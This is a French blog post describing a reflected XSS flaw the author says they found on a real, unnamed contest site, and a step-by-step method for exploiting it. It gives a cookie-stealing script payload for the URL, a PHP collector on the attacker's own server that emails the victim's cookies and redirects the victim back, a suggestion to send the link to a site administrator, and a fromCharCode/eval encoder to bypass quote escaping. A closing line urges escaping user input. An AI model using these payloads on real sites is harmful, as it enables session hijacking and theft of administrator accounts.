Aujourd'hui, j'ai reçu un mail d'un célèbre site (dont je tairais le nom) m'informant d'un concours permettant de gagner un ordinateur portable.

Intéressé, je clic sur le lien et je ne pensais pas trouver là un si bel exemple de faille XSS.

Je m'explique : L'url avait la structure suivante : http://site.com?email=mon-email@gmail.com&nom=&prenom=

Il ne m'a pas fallu longtemps a mettre en évidence une faille XSS (présente sur chaque champ du formulaire !).  Exemple :

http://site.com?email=mon-email@gmail.com&nom="<script>alert(document.cookie)</script>&prenom=

Quelle surprise ! Une petite fenêtre JS qui apparait !

Elle affiche les cookies du site. Cette information n'est pas très intéressante... Mais, que diriez-vous d'avoir ceux d'un administrateur ? Il y aura peut-être des informations bien plus intéressantes...

Mais comment les obtenir ? Voila l'astuce :

Sur un de vos site web, créez une nouvelle page avec juste le code suivant :

<?php
//sur votre site perso
mail('mon-email@gmail.com', '[SITE] Cookies info', $_GET['cookie']);
header('Location: http://site.com?email=mon-email@gmail.com&nom=xxx&prenom=xxx');
?>


Le code précédent va envoyer sur votre adresse mail le contenu de la variable $_GET['cookie']. Puis, il va rediriger l'utilisateur vers le site avec le concours de manière transparente.

Ensuite, remplacez le script dans l'url par celui-ci :

<script>window.location.replace('http://siteperso.com/mapage.php?cookie=' + document.cookie)</script>

Ce qui vous donne :

http://site.com?email=mon-email@gmail.com&nom="<script>window.location.replace('http://siteperso.com/mapage.php?cookie=' + document.cookie)</script>

&prenom=

Ainsi, lorsqu'un utilisateur accède a cette url, il est automatiquement redirigé vers votre site perso et ses cookies sont envoyés sur votre boîte mail !
Il ne vous reste plus qu'à envoyer le lien à un admin du site :)

Un dernier point : les quotes sont échappées, ce qui empêche votre script de fonctionner dans l'url...

Pas de panique, il y a une solution ! Il suffit d'utiliser eval et fromCharCode. Comment ?

Prenez le contenu entre balises <script> et convertissez chaque caractère en code ASCII. Voici le code PHP :

<?php
$output = 'eval(String.fromCharCode(';
$tab = str_split($string);

foreach($tab as $letter)
{
 $output .= ord($letter) . ', ';
}
$output = trim($output, ', ');
$output .= '))';
echo $output;
?>


Vous aurez alors une url du type :

http://www.site.com/?email=mon-@gmail.com&nom="<script>eval(String.fromCharCode(119, 105, [...],  101, 41, 59))</script>&prenom=

La fonction eval va alors interpréter le retour de fromCharCode, ce qui permet de passer outre les addslashes.

Je vous ai donc montré dans cet article comment exploiter un type de faille XSS. Pensez donc toujours bien à echapper les variables que vous récupérez : Ne faites JAMAIS confiance à des données provenant de tiers.